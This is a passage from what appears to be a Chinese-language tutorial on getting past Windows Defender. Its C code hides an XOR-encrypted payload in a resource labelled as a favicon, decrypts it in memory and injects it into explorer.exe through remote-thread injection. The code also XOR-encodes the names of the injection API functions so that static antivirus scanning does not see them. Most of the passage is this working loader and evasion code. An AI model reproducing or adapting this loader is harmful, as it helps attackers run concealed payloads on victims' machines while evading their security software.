// Copy payload to new memory buffer
RtlMoveMemory(exec_mem, payload, payload_len);
// Decrypt (DeXOR) the payload
XOR((char *) exec_mem, payload_len, key, sizeof(key));

printf("\nHit me!\n");
getchar();

// injection process
pid = FindTarget("explorer.exe");

if (pid) {
printf("explorer.exe PID = %d\n", pid);

// try to open target process
hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
FALSE, (DWORD) pid);

if (hProc != NULL) {
Inject(hProc, exec_mem, payload_len);
CloseHandle(hProc);
}
}

return 0;
}

这里有时候GUI函数(messagebox)在控制台中不能执行,这是正常的

绕过Windows defender

上面的代码如果把进程改成explorer.exe,会被查杀,需要判断是哪个操作触发了wd的检测,是静态检测还是注入代码的时候检测到了

将.exe复制到任意文件夹里,直接报毒了,应该是静态检测的

也就是函数加密那些操作结合起来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
#include "resources.h"

LPVOID (WINAPI * pVirtualAllocEx)(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);

BOOL (WINAPI *pWriteProcessMemory)(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesWritten
);

HANDLE (WINAPI *pCreateRemoteThread)(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);

char key[] = "mysecretkeee";

void XOR(char * data, size_t data_len, char * key, size_t key_len) {
int j;

j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;

data[i] = data[i] ^ key[j];
j++;
}
}

int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;

unsigned char sVirtualAllocEx[] = { 0x3b, 0x10, 0x1, 0x11, 0x16, 0x13, 0x9, 0x35, 0x7, 0x9, 0xa, 0x6, 0x28, 0x1 };
unsigned char sWriteProcessMemory[] = { 0x3a, 0xb, 0x1a, 0x11, 0x6, 0x22, 0x17, 0x1b, 0x8, 0x0, 0x16, 0x16, 0x20, 0x1c, 0x1e, 0xa, 0x11, 0xb };
unsigned char sCreateRemoteThread[] = { 0x2e, 0xb, 0x16, 0x4, 0x17, 0x17, 0x37, 0x11, 0x6, 0xa, 0x11, 0x0, 0x39, 0x11, 0x1, 0x0, 0x2, 0x16 };

XOR((char *) sVirtualAllocEx, sizeof(sVirtualAllocEx), key, sizeof(key));
XOR((char *) sWriteProcessMemory, sizeof(sWriteProcessMemory), key, sizeof(key));
XOR((char *) sCreateRemoteThread, sizeof(sCreateRemoteThread), key, sizeof(key));

pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"),sVirtualAllocEx);
pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"),sWriteProcessMemory);
pCreateRemoteThread = GetProcAddress(GetModuleHandle("kernel32.dll"),sCreateRemoteThread);

pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);

hThread = pCreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);
if (hThread != NULL) {
WaitForSingleObject(hThread, 500);
CloseHandle(hThread);
return 0;
}
return -1;
}

int FindTarget(const char *procname) {

HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;

hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;

pe32.dwSize = sizeof(PROCESSENTRY32);

if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}

while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}

CloseHandle(hProcSnap);

return pid;
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow) {

void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
HGLOBAL resHandle = NULL;
HRSRC res;

int pid = 0;
HANDLE hProc = NULL;
unsigned char * payload;
unsigned int payload_len;

// Extract payload from resources section
res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
resHandle = LoadResource(NULL, res);
payload = (char *) LockResource(resHandle);
payload_len = SizeofResource(NULL, res);

// Allocate some memory buffer for payload
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("%-20s : 0x%-016p\n", "payload addr", (void *)payload);
printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);

// Copy payload to new memory buffer
RtlMoveMemory(exec_mem, payload, payload_len);
// Decrypt (DeXOR) the payload
XOR((char *) exec_mem, payload_len, key, sizeof(key));

printf("\nHit me!\n");
getchar();

// injection process
pid = FindTarget("explorer.exe");

if (pid) {
printf("explorer.exe PID = %d\n", pid);

// try to open target process
hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
FALSE, (DWORD) pid);

if (hProc != NULL) {
Inject(hProc, exec_mem, payload_len);
CloseHandle(hProc);
}
}

return 0;
}

这里函数名异或加密的方法

essential_bypass_wd_1.PNG